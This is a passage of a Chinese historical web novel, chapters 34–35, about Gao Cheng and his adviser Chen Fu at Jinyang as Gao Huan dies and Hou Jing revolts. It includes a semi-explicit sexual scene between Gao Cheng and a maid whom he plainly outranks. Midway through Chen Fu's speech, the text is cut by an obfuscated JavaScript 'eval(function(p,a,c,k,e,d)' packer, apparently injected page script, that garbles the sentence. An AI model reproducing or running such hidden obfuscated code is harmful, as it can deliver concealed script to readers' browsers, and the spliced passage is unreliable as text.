可偏偏在此刻,在这漫天风雪的寂夜里,无端掠起一丝心慌。他想再看清她些,可雪光映在她漆黑如夜的眼眸中,却照不见底,笼在她瓷白如月的脸颊上,竟更不真切。 34.第34章 “小娘子算找对地儿了,咱这方子是祖传的,最是活络止痛,胡人兵爷都只认咱家的货。” 掌柜在陶钵里磨着药粉,絮絮叨叨地和甘露搭话, “听说……”他瞥眼门外,压低声音,“听说大王的病撑不了多久了……唉,这晋阳,怕是要变天喽。” 甘露没有接话,待其将药粉兑入,拿起那罐药油揣入怀中,将几枚铜钱放在柜台上,离了药肆。 北风刀子似的刮在脸上,她缩缩脖子,将手拢在袖中,快步拐进街角一家胭脂铺子。 没多打量,只向伙计说了要求,取了一瓷盒面脂,并一小罐蜂蜡唇脂。付过钱,将两样小物件收入裲裆内袋,掀帘而出,汇入义井大街的人流。 积雪被车马行人压实,街面上人等混杂。孩童吸溜着鼻涕,在结冰的水沟边追逐嬉闹。乞丐将破布、麻絮裹在身上,蜷缩在大户檐下。 窄面黄须的鲜卑人,戴风帽,穿左衽袴褶,外罩厚实裘皮,操着粗犷的鲜卑语。而穿右衽宽袍大褂的汉人,则多缩着脖子行色匆匆,眉宇间凝着谨慎。 路边不少架着大锅的食摊,滚沸骨汤蒸汽腾腾,几个路人正蹲在摊边,呼噜呼噜吃着“汤饼”。城墙根空地上,技艺人在耍弄“火流星”,引得围观的六镇军汉们爆发出阵阵叫好。 走过仓城,巨大的夯土城墙巍然耸在眼前,向守门兵士出示过符信,行进霸府。 霸府并非单一建筑,是以高欢居所晋阳宫为中心,辐射开去的庞大建筑群。 放眼望去,黑瓦白墙,斗拱粗壮,守卫皆是着轻甲、佩弯刀的鲜卑部曲,他们持戟而立,脸冻得通红,呵出的白气在眉睫上结着层细密白霜。 一部人马从她身边掠过,为首的身着朱紫官袍,在亲兵簇拥下驰往晋阳宫。 甘露拐入一悬着“陈”字灯笼的别居。 檐下挂满一尺来长的冰溜子,几只褐马鸡在前院踱步,尾羽高翘,褐羽红眼,显得格外神气。 喂食的是郎君在晋阳的鲜卑仆人,见她回来了,用不利索的汉话笑说道:“娘子回来了。瞧这小禽,模样多俊,性子却和我们鲜卑人似得,烈得很,斗起来啊,不死不休!” 甘露寒暄两句,闪进后院,推开西厢房的直棂门。 为了御寒,屋子里窗户用白麻纸糊得严严实实,故而大白天也点着灯,她走到墙角,用火箸拨了拨炭盆,走到靠窗的漆木书案,将上头的文房石砚、松烟墨、毛笔收好,看那卷摊开的《水经注》墨迹犹新,便没动。 绕过山水绢面屏风,正对上墙上挂着的巨幅舆图,那舆图上,长社被朱砂醒目圈出,注着个极小的“王”字;从寿春到彭城的两淮区域,被极淡圈了一圈;汉东、益州、襄阳被黑墨勾勒。 陈扶一身深红重绉绫交领襦裙,黑纱绲边的袖里,露出一截白得近乎透明的指尖,虚指在那南朝国都建康处。 这一月来,凡高澄出晋阳宫去巡营,她多半便会像现在这样,沉浸在这舆图中。 “药油买到了?” “买到了。”甘露应着,从怀中取出那罐用油纸封好的药油,放在一旁案几上。 又从裲裆内袋中取出那两个小瓷盒,“还给仙主买了面脂和口脂。晋阳天寒风燥,这面脂里加了白芷、川芎,能活血通络,防风防冻。口脂是用蜂蜡调了紫草和朱砂,又不失颜色,也比单用脂膏更润泽些。” “你留着自用吧。”陈扶这才缓缓转过身,目光落在甘露脸上,“看你唇角已有些皴了,别总不自觉去舔,越舔越皴。” 不等甘露和她相让,那清冷目光已淡淡移开,转而问道:“大王如何?” “奴婢……奴婢也只能用药油替大王推经舒络,稍稍减缓些痛苦罢了,并不能治病。大王多数时候昏昏沉沉的,时常喃喃自语,昨儿……昨儿还念叨了太原王尔朱荣。疼得厉害时,便叫‘天’,喊‘家家’……听着,让人心里难受。” 陈扶垂眸轻叹一声,“夫天者,人之始也;父母者,人之本也。人穷则反本,故劳苦倦极,未尝不呼天也;疾痛惨怛,未尝不呼父母也。” 言毕,目光沉沉地看向甘露,“你既懂医理,自然知晓女子何时伺候,更易有孕吧?” 陈扶的语气很轻,落在甘露耳中却如惊雷。 自涉县官驿那个风雪交加的夜晚之后,她与大将军之间,便似有了一条无形丝线,牵扯不清。来晋阳的这一月时日,那隐秘的纠缠更是未曾断绝。 涉县那晚,仙主虽没问及,她还是鼓足勇气,以大将军车马劳顿、需疏通筋骨为由作了解释,当时仙主只是淡淡瞥了她一眼,未置一词。她那时还心存侥幸,以为能瞒天过海,将那不堪关系隐在暗处。 一股混杂着羞愧、惶恐与被看穿后无地自容的热流,冲上她脸颊,烧得她滚烫。她下意识垂下头,不敢再看陈扶,“奴婢……对不起仙主……” 除了这苍白无力的告罪,她不知还能说什么。 仙主早在马车上,便为她剖析得明明白白,她却辜负了仙主…… “说到底,选择终究是个人之事。若利弊得失,欢愉苦楚都已明了,仍觉无法抗拒,”陈扶的声音里听不出责备,只有一丝若有若无的叹息,“那便是命里该有此一劫。既躲不过,便就奔着最好之结果努力吧。” 甘露抬起泪眼,茫然地看着她。 “此行仓促,高澄未带姬妾。如今高王病重,六镇将领的眼睛盯着,霸府内的女婢,他不能沾染。便是出去偷欢,晋阳多是性情豪放的鲜卑女子,他向来偏爱娇美纤柔之女,一时半刻,也难寻到称心如意之人。” 陈扶说着,近前拿起甘露手里那盒口脂,用指尖蘸了,将那嫣红膏体涂在她唇上。 “故而这段非常时期,你或可独占雨露,若不趁此时机怀上身孕,待高王一死,他没了顾忌,必会寻新人。” “虽说人非草木,孰能无情。然情之一物,生于心而乱于智,带来的常是混乱,而非建树。你既已伴于贵人左右,纵情之余,当思磐石之利,方是立身之根本。” 甘露“噗通”一声跪倒在地,泣不成声:“仙主……!” 陈元康与甘露一前一后,从高欢那药气弥漫、光线昏沉的寝殿中退了出来。 殿外寒气扑面,却让人精神为之一振。两人沉默地沿着廊庑行走,廊下往来之人,无论是鲜卑勋贵还是相府属官,皆面色凝重,压抑焦灼。 二人行至一僻静殿阁前,见刘桃枝肃立门外,便知世子已从西城巡营归来。 陈元康温言道:“桃枝,烦请通传。” 刘桃枝略一点头,推门而入,片刻后复出,“世子请右丞进去。” 殿内为抵御酷寒,窗棂皆遮厚帘,只余高悬的气窗透进些许天光,空气里弥漫着浓郁茶汤苦味。数座高大的连枝铜灯跳动着烛火,墙上悬着弓剑等兵器,森然肃杀。 甘露一进门,目光即被室内那道身影牢牢摄去,再移不开分毫。 高澄一身鲜卑样式的左衽绯色袍服,腰间紧束革带,脚踏及膝皮质长靴,这身迥异于邺城宽袍博带的利落装扮,将他骨子里那份属于北地的悍烈释放了出来,更衬得他肩宽腿长,眉目锐气通身威势。 都看了一月了,再看到,心口仍像被什么东西塞得满满的,又酸又胀。 陈元康也在盯看世子。 除了多了两抹淡青外,气定神闲,甚至噙着丝笑意,但他知道,世子只怕已绷到了极致,只是凭着一股强悍心气在强行支撑,不愿在人前显露分毫疲态。 堆满竹简、木牍与文书的大案案头,摆放的是外兵曹与骑兵曹印信,大魏军国政务尽归晋阳霸府,如今这千钧重担,全压在了这位年轻世子肩上。 “世子,西城大营如何?” 高澄扫眼问话的陈元康,抓过案上茶盏,呷了一大口,“士气尚可,诸将……也算恭顺,尚能掌控。” “如今局势,稳住那帮将领,便是稳住了根本。” 高澄“嗯”了声,放下茶盏,从文书中抽出一封加急密信,递了过去,“你看看这个。” 陈元康双手接过,展开细看,神色逐渐凝重。 这是司马子如送来的密信,算是那狡猾的老狐狸向新主递交的投名状。信中详述,昔日侯景曾私下对司马子如言道:“王在,吾不敢有异;王无,吾不能与鲜卑小儿共事!” 当时司马子如闻言大惊,忙掩其口,阻止他继续说下去。 “侯景桀骜,其心已彰。世子是否……趁大王尚在,以议事为名,召其返回晋阳?借大王余威,或可软禁,或可徐徐图之。” 高澄目光投向墙上悬着的利剑,笑意敛去,眼底深处掠起一片冰冷杀意。 “召回来,就不是徐徐图之了。” 说罢,扫向门边那抹纤柔身影,“大王今日如何?” 一道目光忽沉沉压来,甘露心一紧,想好的回话在舌尖打了结,出口声音发涩,字句都粘连在一处,“奴婢……禀世子,大王今……进了一次药,揉按过肺经后,似咳得……咳得好些……” 陈元康在旁听得蹙眉,甘露是他看着长大的家生婢女,性子虽怯弱,但办事也算稳妥,口齿也清晰,怎变得这般结结巴巴…… 他想起晨时同来的路上,柔然使臣秃突佳厉声呵斥了她两句,想来这丫头是受了惊吓,还未缓过神来。 略一沉吟,以家主身份提点道:“眼下大王病体沉疴,依柔然旧俗,一旦大王陵崩,那蠕蠕公主殿下是要改嫁世子的。秃突佳此来,实为监督两国通好。他见你常在世子殿内行走,便视你为碍眼之人,你言行需更加谨慎,莫要徒惹是非。” 甘露眼神飘忽,声音低不可闻:“奴婢……知道了……” 陈元康见她如此,又缓声宽慰,“……然也不必过于往心里去。那秃突佳非单对你如此,前月阿扶在廊下不过走得慢了些,挡了他的路,也被他斥了句‘不长眼’。” 高澄转青玉小戒的手指一顿,掀起眼帘,“稚驹性子虽静,却非忍气吞声之人。她如何回的?” “臣也始料未及。”陈元康又是无奈又是自豪地一笑,“那孩子不知何时竟学了柔然语,当下便停步,转身,对那秃突佳笑说道:‘鹰飞于天,目不视下,贵人雄鹰之怀,何以在意脚下?’” “那秃突佳当即一愣,盯着阿扶看了半晌,哼了一声,甩袖走了,之后再遇见阿扶,也不再寻衅了。” 高澄唇角无声弯了弯,端起茶盏,将最后那点冷茶一饮而尽,喉结滚动间,那声快意叹喂也一并咽了回去。 “说到稚驹,烦请长猷去知会她一声,半时辰后,令她来寻我。” 世子于军国大事如此倚重自家女儿,一刻也离不得,是陈元康最乐见的,他躬身应道:“臣这便去知会阿扶。” 脚步声渐远,那双凤目眼底,应对臣属的肃然悄然褪去,灼灼看向甘露,直看得她颊上飞红,连耳根都透出胭脂色,他才不紧不慢起身,一步步走到她面前。 紧韧小臂微抬,甘露呼吸一屏,却只是越过她臂侧,向黄铜门栓而去。 指节微屈,轻轻一勾。 ‘咔’的一声轻响,门栓入扣。 “被那柔然人说了两句?” 甘露咬着唇,那委屈原本早已咽进肚里,被他一问,反化作水汽蒙上了眼,“……奴虽听不懂蛮语,可那位贵人的眼神,像淬了毒的刀。” 他斜睨着她泫然欲泣的模样,眼尾那抹红,倒比口脂还艳三分。 “柔然人,塞北风沙里喝狼奶长大的,懂什么怜香惜玉。他的话,你只当是犬吠,听过便忘了。” 高澄解下腰间金线绣包,塞进她掌心,“女儿家的眼泪,比赤金还珍贵,岂能为个蛮子轻流?” 甘露捏着荷包里沉甸甸的金鋺,睫羽轻颤,“谢殿下厚赏……奴不委屈……只是怕给殿下添乱……” 高澄从喉间滚出一声低笑,“你一小婢女,能给我添什么乱?”话音未落,又从袖中取出一锦囊,倒出两颗莹莹生辉的耳珰。 “明月珠,整个大魏也找不出十对。”塞进她衣襟,大力揉捏一把,“先别戴,待回了邺城,给你置处清净院落,再戴与我瞧。要懂事,明白么?” “奴知……” 话未及说完,已被扳过身子抵在了门板上,炽热胸膛贴上来,灼灼气息喷在颈间, “只要你乖,好好伺候,本世子能给你的,远不止这些。” “骄兵悍将,虎豹豺狼,晋阳人人都想趁高氏之危撕块肉下来,”揽住腰肢一提,咬着她耳珠低语,“好奴儿,唯有你……才能喂饱我……” 带扣清响。 “唔!”她反手攥住他衣袖,声音碎得不成调,“那奴……便多喂世子几次可好……” 男人喑笑一顶,“我也没少喂你……” …… 刘桃枝推开门。 殿内还残留着些许未散的气息,若有若无地混杂在苦茶与墨香之间。 陈扶神色如常走到书案前,微微躬身,“大将军。” 高澄从文书后抬起眼,目光在她脸上停留一瞬,唇角微勾,伸手将她轻轻拉到身侧坐下。 待两人肩臂相触,高澄将绢帛在案上铺开,用镇纸压住两端,点点末尾该用印的位置,沉声道:“侯景在河南拥兵自重,我欲仿大王笔迹语态,修书召他来晋阳。”他侧头看她,“我的小王猛,以为如何?” 陈扶抬眼瞥过绢笺,淡然道,“笔迹语态如何,并不打紧。” 高澄心下一疑,侯景麾下铁骑三万,若生疑心,河南之地即刻易主,如何能不打紧? “无论大将军仿写的笔迹如何精妙,语气如何逼真,”陈扶语气斩钉截铁,“侯景,必反。” 高欢与侯景通信,会在信后点个墨点为暗号。历史上高澄只仿了笔迹,漏了这点,侯景见不到墨痕,自然知晓是高澄动了杀意,以伪书诱他入晋阳,遂据河南之地反了。 但她不打算提醒高澄暗号之事,因为侯景之乱,最终乱的是南梁,东魏反而坐收渔利,尽得两淮沃土。 她要做的不是阻止侯景反叛,而是稳住高澄心绪,助其在乱局中攫取最大胜势。 高澄目光倏地一凝,他的稚驹眼光毒辣,看人断事从无错漏,她竟如此断言,难道那侯景当真必反无疑? 侯景若反,河南兵祸牵连甚广,刚承大业,如何稳住局面?他背负着高氏基业和殷殷之望,这份压力,本就非常人所能承受,眼下又添一重,眉头不觉深深锁起。 陈扶冲他莞尔一笑,“稚驹在此,要先恭喜大将军了。” “?” “危机,危机,‘危’者,机遇也。危险之中,往往蕴藏着莫大机遇。大将军的机遇,想来就在那侯景身上。” 四目相对,她眼中的笃定也映在了他眸中。 “侯景此人,一生只认大王一人,视天下英雄如无物。若能借此机会,将他逐出大魏,不论其投西,还是投梁,皆是好事。” “若投西贼,侯景不甘屈居人下,必会和宇文泰两虎相争;若投南梁,萧氏偏安一隅,国力本就虚浮,收留侯景,无异于引狼入室。” “如今天下三分,魏、梁、西贼国力相差不大,敌国若不生变,想要攫取其一寸土地,都难如登天。” “大将军要思量的,不应是如何去拴住、或杀死一头脱缰猛虎,而是如何‘祸水东引’,借猛虎之凶性搅乱棋局,并伺机‘趁火打劫’,收取全功。” “祸水东引……趁火打劫……”他低声重复着,眸光陡然锐烁。 陈扶凑近他耳侧,肃穆道:“天下神器,圣人大宝,非符命所属,大功济世,不可妄居。”她一字一句,清晰地道,“自古开基立业,未有无功而能安登大宝、稳坐帝位者。” 是呀,他承继父位,朝中虽有威望,却少了开疆拓土的赫赫战功,那侯景,说不定真就是他立威天下的最好机会。 他缓缓吐出一口气,目光深深凝在她身上。 这身深红绫襦裙着实好看,领缘貂毛衬得她越发瓷白,越看越觉可亲。自她六岁来到他身边,这些年来,每逢紧要关头,总是这个面庞稚嫩的人儿,用最清醒的头脑为他剖析局势,用最坚定的话语为他稳住心神。 “稚驹于吾,当真如虎添翼。” 他拉起她放在膝上的手,她亦回握住他,“大将军雄才大略,远超萧衍之流,便是没有稚驹,一样功成。” 烛影摇曳,将两人交叠的身影投在墙上,恍若一体。 一鲜卑苍奴入内禀报,大王要见陈女史,高澄与她交换一个眼神,二人起身同往。 一入寝殿,浓重药味扑面而来,混杂着炭盆的燥热、铺地花椒的辛烈,还有一种属于病人的衰朽气息。 病榻上的高欢,这位曾威震天下的枭雄,如今已被病痛折磨得形销骨立,他深陷的眼窝里目光浑浊,枯槁的手无力地搭在锦被上。 榻边坐着位妇人,年过五旬,罩一件素色裘皮,头发挽成紧实的髻,仅插一羊脂玉簪,不见多余饰物,是娄妃。她见两人进来,目光在陈扶身上一过,颔首一笑。 陈扶依礼下拜,于榻前三尺外垂眸静立,病榻上的高欢喉间滚了滚,费力抬手,“好……孩子……近……近前来。”每一个字都似从肺腑深处挤出来,伴着急促喘息。 高澄揽着陈扶近前,将她的手引到高欢掌中,三只手交叠在一起。 “自阿惠……奉召驰赴晋阳,吾……吾病笃,唯恐他一步行差……便基业动摇,”高欢喘了两口气,看向高澄,“然他……侍疾中理政……无一不妥……昨夜他侍疾时提及……才知是你……” 娄妃抹把眼泪,拍拍怀中人,“我来说吧,”目光落向陈扶,“好孩子,听阿六敦说,他每探视大王后,阿惠皆亲送其至宫门。还对他言:‘晋阳城的安危,便托付于公了。宫中卫戍、父王静养,皆需公坐镇。’” 她继续细数,“阿惠还听了你的谏言,去问策慕容绍宗‘将军若围玉璧,该当如何破之?想听听将军的见解,以备他日咨询。’韩轨刚直,阿惠被顶撞,反赞其勇武,拍其背曰:‘韩将军真乃国之熊虎!’彭乐那边,他厚加赏赐,却悄悄给彭乐配了自己的心腹做副将,使其勇有用武之地,却无作乱之机。” “后方粮草转运等务,他全托付给了潘乐,文书往来从不过问,示以信任。最难得是,前几日深夜,他摒去所有随从,独自一人携了两坛好酒去厍狄干帐中。不称官职,而呼‘姑父’,斟酒敬之,而后泪下,‘王若有不讳,侄儿年少,唯有姑父可为我依靠。’其人性烈忠直,见以家族亲情相托,捶胸顿足,立誓效死。” 娄妃伸手轻抚陈扶脸颊,“好孩子,阿惠此儿,自幼聪明晓事却不受训,吾常恐其有祸,亏有你在旁劝着啊。” 陈扶微微垂首,“世子性聪警,多筹策,内资明德,本就会如此行事,稚驹不敢居此功。” 榻上的高欢忽咳了起来,紧紧攥着锦被,咳得身子都蜷了起来。娄妃连拍他的背,好半天才缓过气。高欢望回陈扶,手指突然收紧,眼中泛起泪光,“孩子……吾对你阿母不起……” “大王不必介怀,阿母而今反比从前自在。很多事往远了去看,才看得出好坏。” 高欢怔怔望着她,喉间发出模糊的呜咽声,另一只枯槁的手在空中虚虚抓了两下,嘴里反复喃喃:“吾有过……有过呐……对国……对家……”说着,头便无力地歪向一侧,呼吸越发急促,那副病入膏肓的模样,全无半分横刀立马的枭雄气魄,只剩脆弱。 陈扶见他这般英雄迟暮模样,心中不由一酸,俯身凑近些,声音放柔,“大王勿做此想。强如秦国,也曾屡败于晋、楚,被锁于崤山函谷之内,才有一代代秦王知耻而后勇,奋六世之余烈,振长策而御宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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高欢将目光缓缓移到陈扶身上,费力露出一抹浅笑,“有你父女二人辅佐阿惠,吾……还有什么可担心的呢?”说罢,他缓缓合上眼,手无力地搭在锦被上,呼吸浅促,显是耗尽了力气,沉沉睡去。 陈扶轻手轻脚退出寝殿,过宫道出宫门,往庭院深处走了数十步,才觉肺腑间的滞闷散了些。 几株老槐在寒风中轻摇,将宫灯的光筛得满地斑驳影绰。 熟悉的降真冷香笼罩而来,未及她转身,一双手已从后环住她,温热气息拂过耳畔,声音又低又沉:“怪不得大王如此高看于你,我家稚驹所献安抚诸将、以备侯景之策,竟与大王所言分毫不差。” 陈扶头微偏避开他呼吸,“大将军胸中自有丘壑,诸将脾性与驭下之道,本就了然于胸。不过是看大将军愿不愿屈尊迁就,并非真的不知如何相待。” 高澄收紧手臂,将她整个人埋进怀里,体温透过层层衣料互相渗透,“恩,我便不容韩轨,他也不会如何,彭乐再难测,我亦有法制之,何需厚待。换旁人来劝,我必不会听,偏生稚驹开口,我句句爱听。” 陈扶垂眸浅淡一笑,借着抬手拢发的动作轻轻挣开他怀抱,转身退后半步站定,重新拾回君臣间的分寸。 她目光转向宫门方向,轻声道:“稚驹既有如此之荣幸,便再多言一句,方才见斛律将军在殿外待命,晋阳冬日严寒,他只着单甲立在风口,想来已冻得久了。其人弓马娴熟,忠心不二,日后对付贼国,少不了他这般猛将,大将军该当疼惜才是。” 话音刚落,一阵“呱噪”的鸦鸣陡然响起,数只黑乌扑棱着翅膀落在庭院的老槐上,羽毛油亮如墨,叫声嘶哑刺耳。高澄眉头一皱,眼中翻起凛冽寒光,“此等不祥之物,也敢在此聒噪!”他扬声唤道,“传斛律光!” 不过几息功夫,斛律光便疾步而至。 高澄凝目亭树上的黑乌,语气沉冷:“射下来。” 斛律光反手抽出一支白羽箭,搭弓拉弦,一箭穿透最前那只的胸膛。黑乌惨叫一声坠落在地,弓弦连响,又有两只应声落地,余下的早已扑棱着翅膀逃得无影无踪。 高澄看着地上死鸦,脸色稍缓,对斛律光点点头,“明月好箭法。勿要在外受冷,回营待命。” 待斛律光退下,他转头看向陈扶,眼中凛冽已化作笑意,上前半步,语气里带上几分邀功的骄矜,扬着眉道:“如何?”他说着,自己先笑了,体恤忠将本就是他主将之事,倒盼着臣属能说一句赞许。 陈扶迎着他的目光,配合地笑赞道,“大将军体恤属下,真乃将士之福。” 正月朔,晋阳王宫,一名戍卫兵士跌跌撞撞闯过回廊,扑跪在高澄议事偏殿前,“大将军!天……天有异象!日头……日头被吞了!” 高澄刚与陈扶、陈元康议定河南防务,闻言猛地起身,掀帘开窗。 风雪之中,冬日被一团黑影啃噬,宫人们挤在廊下,有的跪地祈祷,有的捂脸发抖,连呼啸的朔风都似带上了呜咽哭腔。 高澄脸色一白,转身便往高欢寝殿疾奔,陈元康与陈扶紧随其后。 寝殿内,药石的苦涩气味早已浸透梁柱,与炭火的焦气缠在一起,奔来报日蚀的苍奴跪在榻前,高欢陷在锦被里,眼皮盖着,残烛映在他蜡黄的脸上,明灭不定。 “兄兄!”高澄扑到榻前。 高欢眼皮微颤,“嗯”了一声,用尽力气撑起半截身子,浑浊的眼睛望向窗外。娄妃忙命侍女撕开糊着保暖的窗纸,“刺啦”几声后,窗户被推开,朔风卷着雪片扑了进来。 太阳已被阴影吞去大半,天地间一片昏暗,唯有日轮边缘那圈暗红的光,将远处宫墙染成诡异的赭色。 “日蚀……其为我耶。”高欢哑着嗓子笑了,“死亦……何恨。” 娄妃早已泣不成声,高演、高湛等一众孩儿扑在榻边,哭得撕心裂肺。陈元康哭得难以自已,陈扶扶着阿耶,落下两行清泪。 高欢目光扫过众人,最终落在高澄脸上,嘴唇翕动着,似有话说,却发不出声。 高澄看向陈扶,“稚驹,给大王唱首敕勒川。” “敕勒川,阴山下,天似穹庐,笼盖四野……” 高欢感到一种从骨髓深处透出的疲惫,连呼吸都已无力,那暗红日轮、眼前哭红的脸庞、晃动的帐幔,变得模糊,像水中的倒影,渐渐消散…… “在天的尽头,与月亮聊天……” 怀朔镇的城墙在暮色中显得格外苍凉,城头的旗帜被风吹得猎猎作响。 刚刚结束巡哨的高欢,铁甲未卸,望着远方的群山出神。 一只有力的大手按在了他的肩头。 他猛地回头,看见镇将段长站在身后。老将军的须发已染霜色,却依旧腰杆挺直。段长没有看他,目光也投向远方的群山, “贺六浑。” 高欢屏住呼吸。 “你有康济时世的才能,”段长终于转过头,那双看尽边关风雪的眼睛里,闪烁着光芒,“这辈子,绝不会白活!” 老将军的手微微用力,“我这把年纪……怕是见不到你叱咤风云的那一天了。”重重拍了拍年轻人的臂膀,留下了一句几乎被风吹散的低语:“只盼你日后发达……能照顾我的儿孙……” “心随天地走,寻找那达观……” 杜洛周的军营陷入一片混乱,火把的光在夜空中乱晃,喊杀声、兵器碰撞声混作一团。 高欢撞破军帐的布帘,冰冷的夜风如刀割面,灌进他的领口。“事泄了!走!”他对身后的尉景、段荣、蔡俊等人嘶吼,翻身跃上拴在帐外的黄骠马,刚坐稳,一支箭矢已从耳边呼啸而过,擦着发髻钉在地上。 他伏在马背上,能听见自己如擂鼓的心跳,能感受到座下骏马每一次肌肉的绷紧。 “贺六浑休走!”追兵的吼声越来越近,火把的光在身后连成一片火海。 一支冷箭射中马臀,黄骠马痛得人立而起,随即发狂般向前冲去。他在剧烈的颠簸中回头,只见营地的火光在夜色中明明灭灭,昔日的袍泽已变成催命的恶鬼。 前方突然出现岔路,一条往东,一条往西。 段长的话突然在耳边响起:“你有康济时世的才能……” 没有片刻犹豫,他狠狠一夹马腹,缰绳往东边一扯,黄骠马载着他冲进茫茫夜色。 他不知道葛荣是否会收留他,不知道前路是生是死,只知道必须往前,永远向前…… “情缘你在哪儿,姑娘问着天……” 怀朔镇的城门下,人来人往。高欢穿着破旧的军服,正和同伴一起值守城墙,冻得鼻尖发疼。 “贺六浑!快看!有女人在看你!”同伴用胳膊肘使劲捅他,语气里满是戏谑。 他疑惑地向下望去。 城门之下,站着一位衣着华贵的少女,锦裙绣着繁复纹样,头上插着珠钗,正是城里无人不知的富户娄家大小姐。 她身边跟着几个侍女,却毫不在意旁人的目光,就那样毫无避讳地仰头看着他,目光清澈而炽热,像草原上最烈的太阳…… “篝火映着脸,走马敕勒川……” 敕勒川的夜,被熊熊篝火点燃。烤羊肉在火焰上滋滋作响,油脂滴进火里,马奶酒的醇香弥漫,混着男人们的笑声,格外酣畅。 “贺六浑!喝!”尉景满脸通红,将酒囊塞进他手里,自己则勾着蔡俊的脖子,贾显智大笑着往火堆里添柴,迸射的火星直冲星河。 套马杆斜插在火边,影子在欢笑的脸上狂乱跳动。不知是谁先唱起了敕勒歌,所有人都跟着吼了起来。 高欢将手中的酒一饮而尽,烈酒烧喉,忍不住纵声长啸。他猛地站起身,一把拉过自己的马,翻身而上。 “驾!” 骏马如离弦之箭,冲进无边的夜色,风声在耳边呼啸,广袤的草原在蹄下化作流动的墨色。 他什么也不想,只是纵情奔驰…… 35.第35章 长案上,铜锅正咕嘟作响,浓白汤面翻滚着肥美的羊肉、牛肚、冬葵,噗噗地顶着几片黄芽白,吸饱了汤汁的豆腐,胖嘟嘟沉浮着。 锅边一个个青瓷盘,盛着切好的薄鲙、各样肉食蔬菜。 父女俩正说话,暖阁门被推开,是去而复返的高澄,待其坐好,陈扶执起酒壶,为他斟了一杯,又为阿耶斟上。 几口热食下肚,高澄松了松领口,开口道,“刚到的军报,侯景反了。”语气淡得像在说今日的雪色,边说,还边捞起块烂熟的羊肉,放进陈扶的碟子里,“洛州刺史王权,已联络豫州刺史高元成、襄州刺史李密、广州刺史暴显等合力抗之。” 陈扶心中一振。 洛州刺史王权正是当初那长社县令,要知道,历史上其余那几位刺史,可是被侯景诱捕了,也就是说,历史已然因她改变了! “颍州刺史司马世云应之,侯景已屯兵颍川。”高澄说着,见陈扶碟中羊肉未动,又夹起一块递她嘴边,“趁热吃。” 陈扶回过神,张口接了,细细嚼着。 陈元康看得诚惶诚恐,“世子身份尊贵,这般奉她饮食……不合臣礼呐。” 高澄收回筷子,浑不在意道,“喂口吃食怎么了?”抬手一比,“她这么大时,迎风流涕,都是我擦的,你这做阿耶的,又何曾管过她这些?” 陈元康被这话噎住,忙叨叨夹起片鲙鱼,掩去愧色,转正题道,“世子打算派谁镇压侯景?” “稚驹,”高澄嘴角向上牵起,“将昨日你写的《平侯景策》《定鼎论》说与你阿耶听听,也让他参详参详。” “那便先议平侯景之策,”陈扶看向陈元康,“侯景狡黠冠于北镇,寻常之将断不能克,诚如大王遗训,能敌侯景者,唯有慕容绍宗。” “侯景用兵之法,实出其门下,其深知侯景习性。侯景鲁莽,慕容绍宗却性情极稳,常言道莽克偷、稳克莽,慕容绍宗对他实乃天克。” 陈元康起初还拨弄着锅里,听着听着,抬起眼盯向女儿,夹起的冬葵悬停着。 “但考虑到骤然启用恐难服众,可先派韩轨讨之,不为求胜,只为让众将知晓大王素日所用之将无力相敌,彼时启用绍宗,众将必无异议。” 历史上高澄前后派韩轨、元坦、高岳等人率兵与侯景对敌,全无效果,才启用慕容绍宗。 若能略过元坦、高岳等人,韩轨不敌即用慕容绍宗,必将减少军耗提前取胜,扩大胜势。 “《平侯景谏策》是为眼下谋胜,而《论天下定鼎》,是为长远谋国。” 陈扶指尖蘸了茶水,在案上画出舆图轮廓。高澄挪开那些盘子碗碟,给陈扶空出更大一块案面。 “昔勾践不过雪耻,尚需十年,故而天下定鼎,至少当思三十年事。”指尖移动,水痕蜿蜒,画出山川州郡,“谋国之思当有三,敌友主次,积胜之法,长久之制。” “先思敌友主次。”轻点关外,“北方柔然、突厥诸部纵有侵扰,却是可借之刀,可联合之友,故而最次。” 移向南方,忽而一笑,一道新的水痕从河南划到建康,“侯景难敌慕容将军后,必会诱骗贼国和南梁相助,他难以取信于宇文泰,终会投南。侯景心大,必想取萧衍而代之,彼时只需乱中取利即可。故而其次。” “西贼据形胜之地,宇文泰所图者大,武川将领皆枭悍尚武,实为心腹大患。集中国力对抗的,”重重点在关陇,“该是西贼。” 陈元康叹道,“只当我儿侍奉世子笔墨尚算得力,想不到还有此大略。” 高澄虚环着身侧人儿,瞟眼陈元康,“稚驹那策论里,可远非大略,我自昨日得之,数度参详,心中兴奋,竟彻夜难昧,”端起酒杯呷了一口,笑咂一喟,“刘邦得‘汉中对’,刘备得‘隆中对’,而我高澄,原也得了‘晋中对’也。” 听世子竟如此赞之,陈元康心中惊异,叫陈扶细细说来,那策论里,究竟还写了什么。 “那便详说一下,应对各方之策。”陈扶又蘸茶水,圈出突厥位置,“先说北方,稚驹观之,比起柔然,突厥才是日后之强。维护柔然的同时,更该西连突厥,若真能争取到突厥,”指尖自北向西一划,“或可重现当年赵武灵王攻秦之策,与突厥联军,自北而下,从九原或云中南下,穿越河套,攻夏州、灵州,直取咸阳。” 陈元康:“然则该派何人去,方才担得此任?” “我为大将军推举之人是,和安。” “和安。”陈元康作为高欢的核心幕僚,自是一点即通,“哈哈,和安机敏善辩,尤善谄媚之术,正合游说草原首领。将他儿子和士开扣在邺城,可保万一,便是他不要儿子,这和安贪图中原享受,断也不会留在蛮荒之地,只盼着建功回来荣华富贵。” 陈扶嗯了一声,“若成,则打开新局;若败,所失不过谄媚之辈,原也没那么可惜。” 高澄盯着那开合的小嘴,笑叹,“我家稚驹真是,”提杯仰面,喉结一滚,将那后句咽了。 “再论南梁。若稚驹所料不错,侯景必乱南梁,两淮可趁乱取之;待萧衍一死,宗室个个鼠辈,萧绎、萧纪等一旦内斗,我们便将战略转为联合,以‘助梁平乱’为名,派遣少量精锐进入蜀地,收买蜀中豪强、民心,散布‘西贼残暴’舆论,并以游击方式襄助南梁宗室。”圈出巴蜀,重重一点,“绝不能让宇文泰吞掉巴蜀。” “进攻关中的路线,”讲至最要紧之敌,陈扶眉目一沉,“一是方才所言,昔年赵武灵王之北路。二是豫西通道,然三门峡天险,潼关一夫当关。此路后勤补给困难,日后可作佯攻方向,主攻代价过大。” 